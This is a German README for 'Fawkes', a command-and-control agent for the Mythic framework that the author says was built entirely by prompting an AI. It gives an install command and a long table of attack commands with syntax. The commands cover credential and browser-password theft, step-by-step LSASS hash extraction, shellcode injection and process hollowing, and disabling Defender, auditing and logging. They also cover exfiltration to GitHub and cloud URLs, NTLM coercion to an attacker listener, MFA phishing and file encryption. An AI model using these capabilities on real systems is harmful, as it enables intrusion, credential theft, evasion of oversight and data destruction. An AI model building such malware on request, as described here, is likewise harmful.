
Fawkes ist ein Golang Mythic C2 Agent, der ausschließlich von KI geschrieben wurde.
Fawkes ist ein vollständig vibe-codierter Mythic C2 Agent. Es begann als ein „Ich frage mich“ und hat sich zu einem Ziel entwickelt. Mein Ziel ist es, keine einzige Zeile Code für diesen Agenten zu schreiben, sondern ihn ausschließlich per Prompt zu erstellen.
Ursprünglich habe ich versucht, den Agenten selbst zu schreiben, aber nach dem Klonen des Beispielcontainers, dem Lesen der Mythic-Dokumentation, dem Ansehen der Dev-Serie auf YouTube und dem Kopieren von Code aus anderen Agenten wie Merlin oder Freyja, entschied ich, dass ich einfach keine Zeit hatte, meinen eigenen Agenten zu entwickeln. Für einen Prompt jedoch habe ich Zeit.
Fawkes ist ein Golang-basierter Agent mit plattformübergreifenden Fähigkeiten. Er unterstützt Windows (EXE, DLL und Shellcode-Payloads), Linux (ELF-Binärdateien und Shared Libraries) und macOS (Mach-O-Binärdateien für Intel und Apple Silicon). Insgesamt 213 Befehle: 113 plattformübergreifend, 82 Windows-spezifisch, 21 Unix-spezifisch, 11 Linux-spezifisch und 6 macOS-spezifisch (einige Befehle haben plattformspezifische Implementierungen, die sich einen benutzerseitigen Namen teilen, z. B. Screenshot). Unterstützt HTTP-Egress und TCP-Peer-to-Peer (P2P)-Verknüpfung für internes Pivoting.
Um Fawkes zu installieren, benötigen Sie eine Installation von Mythic auf einem entfernten Computer. Installationsanweisungen für Mythic finden Sie auf der Mythic-Projektseite.
Vom Mythic-Installationsverzeichnis aus:``` ./mythic-cli install github https://github.com/galoryber/fawkes
## Kurzreferenz der BefehleCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Active Directory-Objekt-DACLs lesen/ändern (ACEs hinzufügen/entfernen, DCSync, GenericAll gewähren, Backup/Wiederherstellung). Plattformübergreifend (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Active Directory-Zertifikatsdienste aufzählen, anfällige Vorlagen finden (ESC1-ESC4, ESC6 via DCOM), Zertifikate via DCOM für ESC1/ESC6-Ausnutzung anfordern oder automatisch ausnutzen (find → parse → request chain). Plattformübergreifend (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Nur Windows)** NTFS-Alternate-Data-Streams verwalten — versteckte Datenströme schreiben, lesen, auflisten oder löschen. Unterstützt Text und hex-codierte Binärdaten. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Forensik-Ausführungsartefakte abfragen und bereinigen. Windows: Shimcache. Linux: recently-used.xbel, thumbnails, Tracker. macOS: neueste Elemente, KnowledgeC, Quarantäne (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Nur Windows)** Remote-Prozessinjektion. `-method apc` (Standard) reiht Shellcode via NtQueueApcThread in einen alertable Thread ein (mit `ts` einen finden). `-method hwbp` hängt via DebugActiveProcess an, setzt einen Hardware-Breakpoint DR0 auf eine Ziel-API (Standard `ntdll!NtDelayExecution`) und leitet Rip zum Shellcode um, wenn der Breakpoint ausgelöst wird – keine TID erforderlich, keine APC-Warteschlange, kein CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Mikrofon-Audio aufnehmen und als WAV-Datei hochladen. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Plattformübergreifend (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Nur Windows)** Windows-Überwachungsrichtlinien abfragen und ändern. Sicherheitsereignisprotokollierung vor sensiblen Vorgängen deaktivieren. Stealth-Modus deaktiviert erkennungskritische Unterkategorien. Verwendet AuditQuerySystemPolicy API (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Nur Windows)** Befehl mit gefälschten Prozessargumenten ausführen. Umgeht Sysmon Event ID 1 und EDR-Befehlszeilentelemetrie (T1564.010).
arp | `arp [-ip <subnet>]` oder `arp -action spoof -target <IP> -gateway <IP>` | ARP-Tabelle mit Filterung anzeigen oder ARP-Cache-Poisoning für MITM-Positionierung (T1557.002). Spoof: nur Linux, stellt bei Bereinigung wieder her.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | AS-REP-Tickets für Konten ohne Pre-Authentifizierung anfordern und Hashes im Hashcat-Format zum Offline-Knacken extrahieren. Automatische Enumeration via LDAP. Plattformübergreifend (T1558.004).
av-detect | `av-detect [-deep true]` | Installierte AV/EDR/Sicherheitsprodukte erkennen, indem laufende Prozesse gegen eine Datenbank mit über 130 Signaturen gescannt werden. Mit `--deep` werden auch Kernelmodule, systemd-Units und Konfigurationsverzeichnisse auf installierte, aber nicht laufende Produkte überprüft (Linux). Meldet Produkt, Anbieter, Typ und PID. Plattformübergreifend.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Nur Windows)** Eine Funktion automatisch patchen, indem zum nächstgelegenen Rückkehrbefehl (C3) gesprungen wird. Nützlich für AMSI/ETW-Bypässe.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Datenkodierungs-Toolkit: base64, XOR (mit String/Hex-Key), hex, ROT13, URL-Prozentkodierung, Caesar-Chiffre. Alle unterstützen Datei-I/O. Plattformübergreifend (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Nur Windows)** BITS-Übertragungsaufträge für Persistenz und verdeckten Dateidownload verwalten. Aufträge erstellen, anhalten, fortsetzen, abschließen und Benachrichtigungsbefehle für Persistenz festlegen. Aufträge überdauern Neustarts (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Browserdaten von Chromium, Firefox und Safari sammeln. Verlauf, Autofill, Lesezeichen, Downloads plattformübergreifend. Passwörter: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (key4.db NSS-Entschlüsselung), Safari (macOS Keychain). Firefox-Cookies auf allen Plattformen. MITRE T1555.003, T1217.
cat | `cat <file>` oder `cat -path <file> -start N -end N -number true` | Dateiinhalt anzeigen mit optionalem Zeilenbereich, Nummerierung und 5 MB-Größenschutz.
cd | `cd <directory>` | Das aktuelle Arbeitsverzeichnis wechseln.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Datei-/Verzeichnisberechtigungen mit oktaler (755, 644) oder symbolischer (+x, u+rw, go-w) Notation ändern. Rekursive Unterstützung. Plattformübergreifend (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Nur Linux/macOS)** Datei-/Verzeichnisbesitzer nach Benutzername/UID und Gruppenname/GID ändern. Rekursive Unterstützung (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | TLS-Zertifikate auf entfernten Hosts überprüfen – identifiziert CAs, selbstsignierte Zertifikate, Ablauf, SANs, TLS-Version, Chiffriersuiten und SHA256-Fingerabdrücke. Plattformübergreifend (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Nur Windows)** Windows-Zertifikatspeicher durchsuchen, um Codesignatur-Zertifikate, Client-Auth-Zertifikate und private Schlüssel zu finden. Durchsucht CurrentUser und LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Zwischenablage lesen/schreiben oder kontinuierlich auf Änderungen überwachen mit Mustererkennung für Anmeldedaten. Plattformübergreifend (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Cloud-Metadaten, Anmeldedatenextraktion, IAM-Enumeration, Speicherenumerierung, Persistenz und Zugriff auf Secret Stores. storage/aws-s3/azure-blob/gcp-gcs: Buckets/Container mit Beispielobjekten aufzählen. aws-ssm: SSM Parameter Store mit Entschlüsselung. azure-keyvault: Key Vault-Geheimnisse via verwalteter Identität. gcp-secrets: Secret Manager via Dienstkonto. aws-persist/azure-persist: langlebige Zugriffsschlüssel/App-Registrierungen erstellen. Auto-Erkennung. IMDSv2. Plattformübergreifend (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Archive erstellen, auflisten, extrahieren, bereitstellen oder exfiltrieren. Staging verschlüsselt mit AES-256-GCM. Exfil überträgt zu Mythic. exfil-https: Upload zu S3/Azure/GCS-pre-signierten URLs mit Chunked Uploads, benutzerdefinierten Headern, Jitter. exfil-github: Exfiltration via GitHub-Inhalts-API. Plattformübergreifend (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | NTLM-Authentifizierungs-Erzwingung via MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Zwingt Ziel, sich beim Angreifer-Listener zu authentifizieren. Pass-the-Hash-Unterstützung. Plattformübergreifend (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Laufzeitkonfiguration des Agents anzeigen oder ändern, oder das Agent-Binär selbst aktualisieren. `show`/`set`: Schlaf, Jitter, Todesdatum, Arbeitszeiten. `update`: neue Payload von Mythic herunterladen, verifizieren, starten und aktuellen Agent beenden. Plattformübergreifend (T1105).
container-detect | `container-detect` | Container-Laufzeit und -Umgebung erkennen (Docker, K8s, LXC, Podman, WSL). Überprüft Escape-Vektoren wie Docker-Sockets und K8s-Dienstkonten. Plattformübergreifend (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Nur Linux)** Container-Ausbruch + K8s-Operationen – Docker-Socket, Cgroup, nsenter, Host-Device-Mount. K8s: Pods/Services aufzählen, Secrets lesen, **k8s-rbac**: ClusterRole/RoleBinding-Sweep + Berechtigungserhöhungspfad-Bewertung (crit/warn/info), **k8s-nodes**: Cluster-Node-Angriffsfläche (kubelet/OS/Kernel/CIDR/Taints/Rollen), **k8s-etcd**: etcd-Client-Endpunkte aus Control-Plane-Pod-Argumenten entdecken + unauthentifizierten `/version`-Probe pro Endpunkt (unauth read = vollständige Cluster-Kompromittierung), Pods via API bereitstellen/ausführen. **Außerhalb des Clusters**: `-kubeconfig` akzeptiert gestohlene kubeconfig-Dateien für K8s-Zugriff von Nicht-Container-Hosts (Token + Client-Zertifikat-Auth) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Eine Datei von Quelle zu Ziel kopieren.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Anmeldedaten gegen SMB, WinRM und LDAP auf Zielhosts testen. `verify-all` testet alle gespeicherten Anmeldedaten parallel gegen entdeckte Hosts. Plattformübergreifend (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Anmeldedaten sammeln: Shadow-Hashes (Unix), Cloud-Konfigurationen (AWS/GCP/Azure/K8s), Anwendungsgeheimnisse, Shell-Verlauf-Scans auf durchgesickerte Passwörter/Tokens/API-Schlüssel, PowerShell-Verlauf + Umgebungsvariablen + RDP (Windows), M365-OAuth/JWT-Tokens aus TokenBroker/Teams/Outlook (Windows), **browser-live**: Live-Cookies, localStorage, sessionStorage via Chrome DevTools Protocol (CDP) aus laufendem Chrome/Edge stehlen. **dump-all**: automatisierte Subtask-Kette – führt hashdump + lsa-secrets + cred-harvest parallel aus (Windows). Plattformübergreifend (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Nativen Anmeldedialog anzeigen, OAuth-Gerätecode-Fluss ausnutzen oder MFA-Codes phishen. dialog: macOS AppleScript, Windows CredUI, Linux zenity/kdialog. device-code: Azure AD OAuth-Gerätecode-Fluss zur Tokenerfassung. mfa-phish: Gefälschter MFA-Verifizierungsdialog zur Erfassung von TOTP-Codes. Plattformübergreifend (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP-Anfragen + Datei-Upload-Exfiltration (T1567). Upload zu S3-pre-signierten URLs, Azure SAS, generische Endpunkte. Plattformübergreifend (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Felder oder Zeichenbereiche aus Dateizeilen extrahieren. Benutzerdefinierte Trennzeichen, Bereichsangaben. Plattformübergreifend (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Plattform-Anmeldedatenspeicher durchsuchen. Windows: Credential Manager + Tresor (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, NetworkManager-WiFi/VPN-Passwörter, GNOME Online Accounts. macOS: Keychain-Elemente (generische + Internet-Passwörter), WiFi-Passwörter. `list`=Metadaten, `dump`=mit Geheimnissen, `vault`=nur Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Nur Windows)** Defender verwalten – Status, Ausschlüsse, Bedrohungen, Echtzeitschutz aktivieren/deaktivieren. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Nur Windows)** DPAPI-Blob-Entschlüsselung (CryptUnprotectData), Master-Key-Enumeration, Chrome/Edge-Verschlüsselungsschlüsselextraktion. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Nur Windows)** Auf Outlook-Postfach via COM zugreifen. Nachrichten zählen, nach Stichwort suchen, nach Index lesen, Ordner auflisten. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Nur Windows)** Befehle ausführen, Dateien hochladen oder staging-and-execute auf entfernten Hosts via DCOM. `check` validiert RPC/DCOM-Voraussetzungen. upload: Dateien via certutil/PowerShell-Staging übertragen. exec-staged: Hochladen und dann ausführen mit automatischer Bereinigung. Sechs COM-Objekte. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Angeschlossene Debugger, Analysetools und Instrumentierung erkennen. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, DR-Register. Linux: TracerPid, LD_PRELOAD, Speicherkarten (Frida/Valgrind/Sanitizer), VM/Sandbox, eBPF-Überwachung (Falco/Tetragon/Tracee), auditd-Framework, ptrace-Bereich. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, VM-Erkennung (sysctl), Sicherheitsprodukte (EDR/AV), Sandbox/Analyseumgebung. Alle: Debugger-Prozessscan (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync – AD-Anmeldedaten via DRS replizieren, ohne LSASS zu berühren. `domain-takeover` führt kerberoast + asrep-roast + dcsync krbtgt/Administrator parallel aus. Plattformübergreifend (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Dateisystem-Datenträgernutzung melden mit optionaler Filterung nach Gerät, Einhängepunkt oder Dateisystemtyp. Plattformübergreifend (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Zwei Dateien vergleichen und Unterschiede im Unified-Diff-Format anzeigen. LCS-basierter Algorithmus mit konfigurierbaren Kontextzeilen. Plattformübergreifend (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS-Enumeration – Hosts auflösen, Records abfragen, DCs entdecken, Zonentransfers, Wildcard-Erkennung, DNS-over-HTTPS-verdeckte Auflösung, DNS-Exfiltration. Plattformübergreifend (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Datenträgernutzung für Dateien und Verzeichnisse melden. Größenaufschlüsselung nach Unterverzeichnis, sortiert nach größten. Plattformübergreifend (T1083).
drivers | `drivers [-filter <name>]` | Geladene Kernel-Treiber/Module auflisten. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: kext-Enumeration. Plattformübergreifend (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | AD-Passwort-/Sperrrichtlinien und FGPP-Enumeration via LDAP. Spray-sichere Empfehlungen. Plattformübergreifend (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Nur Linux/macOS)** Cron-Jobs auflisten, hinzufügen oder entfernen zur Persistenz. Unterstützt rohe Cron-Einträge oder Programm+Zeitplan-Syntax.
download | `download <path>` oder `download {"path": "/file", "compress": true}` | Eine Datei oder ein Verzeichnis vom Ziel herunterladen. Dateien >1 MB werden automatisch mit gzip komprimiert (konfigurierbar). Verzeichnisse werden automatisch gezippt. SHA256-Hash-Überprüfung. Chunked-Transfer, Dateibrowser-Integration.
drives | `drives` | Verfügbare Laufwerke/Volumes und eingehängte Dateisysteme mit Typ, Bezeichnung/Gerät und freiem/gesamten Speicherplatz auflisten.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Nur Windows)** Zugriffstoken über alle Prozesse hinweg auflisten. `list` zeigt PID/Benutzer/Integrität/Sitzung für jeden Prozess. `unique` gruppiert nach Benutzer mit Prozessanzahlen. Aktiviert automatisch SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM-Verschlüsselung/Entschlüsselung (T1486) + gezielte Dateibeschädigung (T1565). corrupt: Datei-Header mit Zufallsdaten überschreiben. Sicherheitsabfragen für destruktive Operationen erforderlich.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Umgebungsvariablen für den Agent-Prozess auflisten, abrufen, setzen oder löschen. Änderungen werden von Kindprozessen übernommen. Plattformübergreifend.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Prozess-Umgebungsvariablen nach durchgesickerten Anmeldedaten, API-Schlüsseln und Geheimnissen durchsuchen. 35+ Erkennungsmuster in den Kategorien Cloud, Datenbank, CI/CD und Krypto. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Audit-/Telemetrie-Subsystem-Manipulation. Windows: ETW-Sitzungen/Anbieter stoppen/blind/blind-all/aktivieren/patch/wiederherstellen. Linux: auditd-Regeln, journald leeren/rotieren, syslog-Konfiguration, SIEM-Agent-Erkennung. macOS: Unified Logging, Sicherheitsagent-Erkennung. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Systemereignisprotokolle verwalten. Windows: wevtapi.dll-Kanäle. Linux: journald-Units und syslog-Dateien. macOS: Unified Logging (os_log)-Subsysteme/Prozesse. Quellen auflisten, Ereignisse abfragen, Protokolle löschen/vakuumieren, Informationen abrufen. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Ein natives Binär aus dem Speicher ausführen. Linux: memfd_create (kein Schreiben auf Datenträger). macOS: temporäre Datei mit Ad-hoc-Codesign. Windows: temporäre Datei mit sofortiger Bereinigung. Alle Plattformen entfernen Artefakte nach der Ausführung. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Shellcode im aktuellen Prozess ausführen. Unterstützt XOR/AES-256-CTR-codierten Shellcode mit Laufzeit-Decodierung (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (Standard) oder memfd_create. macOS: MAP_JIT (ARM64) oder mmap. Plattformübergreifend (T1059.006, T1620).
exit | `exit` | Agent anweisen, zu beenden.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Dateiattribute abrufen oder setzen – versteckt, schreibgeschützt, system (Windows); unveränderlich, append, nodump (Linux); versteckt, unveränderlich (macOS). -attrs weglassen, um aktuelle Flags anzuzeigen. Plattformübergreifend (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Dateitypen anhand von Magic-Bytes (35+ Signaturen) identifizieren. Einzeldatei oder Verzeichnisscan. Erkennt ausführbare Dateien, Archive, Dokumente, Bilder, Datenbanken, Medien und mehr. Plattformübergreifend (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Dateien nach Name, Größe, Datum, Berechtigungen oder Besitzer durchsuchen. SUID-Binärdateien, weltweit beschreibbare Dateien, Dateien bestimmter Benutzer finden. Plattformübergreifend (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Hosts überprüfen, um zu entdecken, wo Anmeldedaten Administratorzugriff via SMB (C$-Freigabe) und/oder WinRM haben. **auto-move**: automatisierte Subtask-Kette – Admin-Hosts finden und dann lateral zu jedem via psexec/wmi bewegen. Unterstützt CIDR, IP-Bereiche, PTH, paralleles Scannen (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Firewall-Regeln verwalten. Windows: COM-API. macOS: ALF + pf-verankerte Regeln. Linux: iptables/nftables (automatisch erkannt). PF-Anker-Unterstützung für macOS-Paketfilterung. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Privilegien/Fähigkeiten auflisten. Windows: Token-Privilegien mit enable/disable/strip. Linux: Prozessfähigkeiten (CapEff/CapPrm) + SELinux/AppArmor-Kontext. macOS: Berechtigungen, Sandbox, Gruppen (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Privilegienausweitung. Windows: SYSTEM via Token-Diebstahl oder DCOM-Potato. Linux: Ausweitungsvektoren überprüfen (SUID, sudo, Fähigkeiten, Docker) oder sudo-Ausweitung versuchen. macOS: Vektoren überprüfen, sudo oder osascript-Admin-Eingabeaufforderung (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | SYSVOL nach GPP-XML-Dateien mit verschlüsselten cpassword-Attributen durchsuchen und mit dem veröffentlichten AES-Schlüssel entschlüsseln (MS14-025). Plattformübergreifend via SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Gruppenrichtlinienobjekte via LDAP aufzählen – GPOs auflisten, Links mit Erzwingung kartieren, interessante CSE-Einstellungen finden. Plattformübergreifend (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Dateiinhalte nach Regex-Mustern durchsuchen. Rekursive Verzeichnissuche mit Erweiterungsfilterung, Kontextzeilen und Überspringen von Binärdateien. Plattformübergreifend (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Datei-Hashes berechnen (MD5, SHA-1, SHA-256, SHA-512). Einzeldateien oder Verzeichnisse mit Glob-Musterfilterung und Tiefenkontrolle. Plattformübergreifend (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Dateiinhalt im xxd-stil Hex+ASCII-Format anzeigen. Offset/Längensteuerung zur Untersuchung bestimmter Regionen, max. 4096 Bytes. Plattformübergreifend (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Offene Handles/Dateideskriptoren in einem Prozess auflisten. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Lokale Kontokennwort-Hashes extrahieren. Windows: NTLM-Hashes aus SAM-Registrierung (erfordert SYSTEM); **insitu**: aktive Anmeldesitzungen via In-Prozess-LSA-APIs aufzählen (erfordert Admin); **insitu-full**: lsass.exe mit PROCESS_VM_READ öffnen, lsasrv.dll nach LogonSessionList signalisieren, die verknüpfte Liste durchgehen, das KIWI_MSV1_0_LIST_63-Layout auf jeden Knoten legen, um LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer zu parsen, die pro-AuthPackage-Anmeldedatenkette bei credentials_ptr durchgehen, um jede KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC-Hülle zu erfassen, LsaInitializeProtectedMemory_Internal signalisieren, um die IV / h3DesKey / hAesKey BCrypt-Key-Globalen sowie die rohen 16-Byte-IV / 24-Byte-3DES / 32-Byte-AES-Key-Bytes wiederherzustellen, AES-256-CFB / 3DES-CBC jeden erfassten Chiffretext-Blob entschlüsseln (pro Blob ausgewählt durch `len % 8`) und das KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW-Layout überlagern, um NT/LM/SHA-Hashes zu extrahieren – ausgegeben im `username:rid:lm:nt:::`-Format, kompatibel mit dem dump-action ProcessResponse-Anmeldedatentresor-Hook (Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, erfordert Admin). Linux: /etc/shadow-Hashes mit Hash-Typ-Identifizierung (erfordert root). macOS: Directory Services-PBKDF2-Hashes aus Benutzer-Plists (erfordert root). **auto-spray**: Hashes dumpen und dann automatisch via cred-check gegen Zielhosts sprayen. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Shell-/Anwendungs-Befehlsverlaufsdateien auflisten oder löschen. Deckt bash, zsh, fish, PowerShell, python, mysql und mehr ab. Plattformübergreifend (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Prozess-Aushöhlung – angehaltenen Prozess erstellen, Shellcode schreiben, Ausführung umleiten. **Windows:** CREATE_SUSPENDED + SetThreadContext, PPID-Spoofing, DLL-Blockierung, PEB-Dekoration (ImagePath/CommandLine/WindowTitle-Masking). **Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem-Schreiben. **macOS:** ptrace + Mach-VM-APIs (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) – erfordert root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | IDE-Konfigurationen aufzählen – VS Code-Erweiterungen, Remote-SSH-Hosts, aktuelle Projekte, Einstellungen mit Geheimnissen. JetBrains-Datenquellen, Bereitstellungsserver, aktuelle Projekte. Plattformübergreifend (T1005, T1083).
ifconfig | `ifconfig` | Netzwerkschnittstellen mit Adressen, MAC, MTU und Flags auflisten. Plattformübergreifend (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Nur Windows)** Ein .NET-Assembly im Speicher mit der CLR ausführen. Unterstützt Befehlszeilenargumente. Vorher `start-clr` für den AMSI-Patching-Workflow verwenden.
inline-execute | `inline-execute` | **(Nur Windows)** Ein Beacon Object File (BOF/COFF) im Speicher ausführen. Unterstützt alle Argumenttypen: Strings (z), Wide Strings (Z), Integers (i), Shorts (s) und Binary (b).
